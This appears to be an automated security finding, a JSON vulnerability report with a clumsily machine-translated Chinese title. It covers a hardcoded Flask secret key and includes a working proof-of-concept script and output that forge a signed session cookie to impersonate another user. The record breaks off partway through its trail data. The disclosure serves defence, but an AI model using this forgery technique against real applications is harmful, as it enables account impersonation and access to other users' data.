[安全] 硬码的弗拉斯克秘密密钥允许会议 cookie 伪造

{"description":"with the known key `\"secret\"`, forge a signed Flask session cookie setting `session[\"session_id\"]` to another user's id to access `brains[session_id]`. Allows session forgery and access to other users' brains.","reproduction":{"steps":[{"command":"D=$(mktemp -d) && cat > $D/poc2.py << 'PYEOF'\nfrom flask import Flask\nfrom flask.sessions import SecureCookieSessionInterface\n\nSECRET = \"secret\"\nVICTIM_SESSION_ID = \"victim_abc123_private_session\"\nbrains = {VICTIM_SESSION_ID: \"<victim's brain object>\"}\n\napp = Flask(__name__)\napp.secret_key = SECRET\nsi = SecureCookieSessionInterface()\nserializer = si.get_signing_serializer(app)\n\nforged = serializer.dumps({\"session_id\": VICTIM_SESSION_ID})\nprint(\"Forged cookie:\", forged)\n\nloaded = serializer.loads(forged)\nprint(\"Server decoded:\", loaded)\nsid = loaded[\"session_id\"]\nbrain = brains.get(sid)\nprint(\"Brain retrieved:\", brain)\nassert brain == \"<victim's brain object>\"\nprint(\"SUCCESS: forged cookie impersonates victim session and retrieves their brain\")\nPYEOF\npython3 $D/poc2.py","output":"Forged cookie: eyJzZXNzaW9uX2lkIjoidmljdGltX2FiYzEyM19wcml2YXRlX3Nlc3Npb24ifQ.ap2jOw.9PAzL6wyz_60h8b6H1pYxwmAyRg\nServer decoded: {'session_id': 'victim_abc123_private_session'}\nBrain retrieved: <victim's brain object>\nSUCCESS: forged cookie impersonates victim session and retrieves their brain","error":false}],"summary":"Hardcoded Flask secret key enables forging a signed session cookie to impersonate another user and access their brain."},"trail":{"version":1,"synthesis":"graph","status":"confirmed","nodes":[{"id":"n1","kind":"discovery","entity":"origin","label":"Security agent","detail":"Discovery to confirmed